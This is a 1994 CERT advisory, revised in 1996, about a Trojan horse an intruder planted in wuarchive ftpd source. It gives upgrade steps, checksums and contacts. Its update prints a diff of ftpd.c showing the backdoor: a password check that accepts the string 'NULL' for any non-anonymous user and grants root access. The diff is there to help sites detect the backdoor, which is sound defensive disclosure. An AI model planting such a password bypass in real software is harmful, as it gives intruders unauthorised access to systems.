179 lines
6.4 KiB
Plaintext
179 lines
6.4 KiB
Plaintext
|
|
-----BEGIN PGP SIGNED MESSAGE-----
|
|
|
|
=============================================================================
|
|
CERT(sm) Advisory CA-94:07
|
|
Original issue date: April 6, 1994
|
|
Last revised: August 30, 1996
|
|
Information previously in the README was inserted
|
|
into the advisory.
|
|
|
|
A complete revision history is at the end of this file.
|
|
|
|
Topic: wuarchive ftpd Trojan Horse
|
|
- -----------------------------------------------------------------------------
|
|
|
|
The CERT Coordination Center has received confirmation that some copies
|
|
of the source code for the wuarchive FTP daemon (ftpd) were modified by
|
|
an intruder, and contain a Trojan horse.
|
|
|
|
We strongly recommend that any site running the wuarchive ftpd take steps
|
|
to immediately install version 2.3, or disable their FTP daemon.
|
|
|
|
- -----------------------------------------------------------------------------
|
|
|
|
I. Description
|
|
|
|
Some copies of the source code for versions 2.2 and 2.1f of the
|
|
wuarchive ftpd were modified by an intruder, and contain a Trojan
|
|
horse. If your FTP daemon was compiled from the intruder-modified
|
|
source code, you are vulnerable.
|
|
|
|
It is possible that previous versions of the source code for the server
|
|
were modified in a similar manner.
|
|
|
|
If you are running the wuarchive ftpd, but not providing anonymous FTP
|
|
access, you are still vulnerable to this Trojan horse.
|
|
|
|
|
|
II. Impact
|
|
|
|
An intruder can gain root access on a host running an FTP daemon
|
|
that contains this Trojan horse.
|
|
|
|
|
|
III. Solution
|
|
|
|
We strongly recommend that any site running the wuarchive ftpd (version
|
|
2.2 or earlier) take steps to install the current version.
|
|
|
|
If you cannot install the new version in a timely manner, you should
|
|
disable FTP service. It is not sufficient to disable anonymous FTP.
|
|
You must disable the FTP daemon.
|
|
|
|
Sites can obtain version 2.4 via anonymous FTP from
|
|
ftp://ftp.uu.net/networking/ftp/wuarchive-ftpd
|
|
|
|
We recommend that you turn off your FTP server until you have installed
|
|
the new version.
|
|
|
|
Be certain to verify the checksum information to confirm that you have
|
|
retrieved a valid copy.
|
|
|
|
CHECKSUMS
|
|
System V sum
|
|
============
|
|
51092 16 patch_2.3-2.4.Z
|
|
20337 362 wu-ftpd-2.4.tar.Z
|
|
|
|
Berkeley sum
|
|
============
|
|
09291 8 patch_2.3-2.4.Z
|
|
38213 181 wu-ftpd-2.4.tar.Z
|
|
|
|
md5 checksum
|
|
============
|
|
MD5 (patch_2.3-2.4.Z) = 5558a04d9da7cdb1113b158aff89be8f
|
|
MD5 (wu-ftpd-2.4.tar.Z) = cdcb237b71082fa23706429134d8c32e
|
|
|
|
|
|
- ---------------------------------------------------------------------------
|
|
The CERT Coordination Center wishes to thank Bryan O'Connor and Chris Myers
|
|
of Washington University in St. Louis for their invaluable assistance in
|
|
resolving this problem. CERT also gratefully acknowledges the help of
|
|
Neil Woods and Karl Strickland.
|
|
- ---------------------------------------------------------------------------
|
|
|
|
If you believe that your system has been compromised, contact the CERT
|
|
Coordination Center or your representative in the Forum of Incident
|
|
Response and Security Teams (FIRST).
|
|
|
|
If you wish to send sensitive incident or vulnerability information to
|
|
CERT via electronic mail, CERT strongly advises that the e-mail be encrypted.
|
|
CERT can support a shared DES key, PGP (public key available via
|
|
anonymous FTP on info.cert.org), or PEM (contact CERT for details).
|
|
|
|
Internet E-mail: cert@cert.org
|
|
Telephone: 412-268-7090 (24-hour hotline)
|
|
CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),
|
|
and are on call for emergencies during other hours.
|
|
|
|
CERT Coordination Center
|
|
Software Engineering Institute
|
|
Carnegie Mellon University
|
|
Pittsburgh, PA 15213-3890
|
|
|
|
Past advisories, information about FIRST representatives, and other
|
|
information related to computer security are available via anonymous
|
|
FTP from info.cert.org.
|
|
|
|
Copyright 1994, 1995, 1996 Carnegie Mellon University
|
|
This material may be reproduced and distributed without permission provided
|
|
it is used for noncommercial purposes and the copyright statement is
|
|
included.
|
|
|
|
CERT is a service mark of Carnegie Mellon University.
|
|
|
|
==========================================================================
|
|
UPDATES
|
|
|
|
Added April 7, 1994
|
|
|
|
The Trojan horse described in CA-94:07 provides a back-door password
|
|
for any username other than "anonymous." It would be trivial for an
|
|
intruder to modify the back-door password or other details of the
|
|
Trojan horse code. The "diff" described in #1 below will help you
|
|
detect only the Trojan horse referenced in the advisory. It will
|
|
not detect any other Trojan horses.
|
|
|
|
|
|
Clarifications:
|
|
|
|
1) If you have modified any version of the wuarchive ftpd and cannot
|
|
install the new version, 2.3, you may detect the existence of the
|
|
discovered Trojan horse with the following diff on ftpd.c:
|
|
|
|
1013,1015c1013,1014
|
|
< if ((pw == NULL || *pw->pw_passwd == '\0' ||
|
|
< strcmp(xpasswd, pw->pw_passwd)) &&
|
|
< (strcmp(passwd, "NULL"))) {
|
|
- ---
|
|
> if (pw == NULL || *pw->pw_passwd == '\0' ||
|
|
> strcmp(xpasswd, pw->pw_passwd)) {
|
|
|
|
|
|
2) Since the versions containing the Trojan horse were found in a
|
|
number of locations, it is possible that your version of the wuarchive
|
|
ftpd software contains the Trojan horse regardless of the distribution
|
|
site from which you obtained the source code.
|
|
|
|
3) If you have any questions concerning the wuarchive ftpd software,
|
|
send mail to:
|
|
|
|
Bryan D. O'Connor
|
|
Office of the Network Coordinator
|
|
bryan@fegmania.wustl.edu
|
|
Washington University in Saint Louis
|
|
http://fegmania.wustl.edu/~bryan
|
|
|
|
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
Revision history
|
|
|
|
Aug. 30, 1996 Information previously in the README was inserted
|
|
into the advisory.
|
|
Feb. 02, 1995 Sec. III - Inserted a pointer and checksums for wu-ftpd-2.4.
|
|
Apr. 07, 1994 Updates - Added clarifications and additional assistance.
|
|
|
|
|
|
-----BEGIN PGP SIGNATURE-----
|
|
Version: 2.6.2
|
|
|
|
iQCUAwUBMiSUvnVP+x0t4w7BAQFwIAP41FSLVC5BtjXLKoVn/BwMqnd4evSwyOx3
|
|
ku5WmrqrSQ3nXbvQ3Zq7RyyWd8BaOLGFR0WxG8+RglV6roIBTsc0VxdJUssbR0rq
|
|
DG5JOWal74yQjS8wgVWw6oFIeyviJwDPHWZNoP1YZrW3WAsDfx2lodEFuxJj2aIp
|
|
PGdYDywz0Q==
|
|
=6BHM
|
|
-----END PGP SIGNATURE-----
|
|
|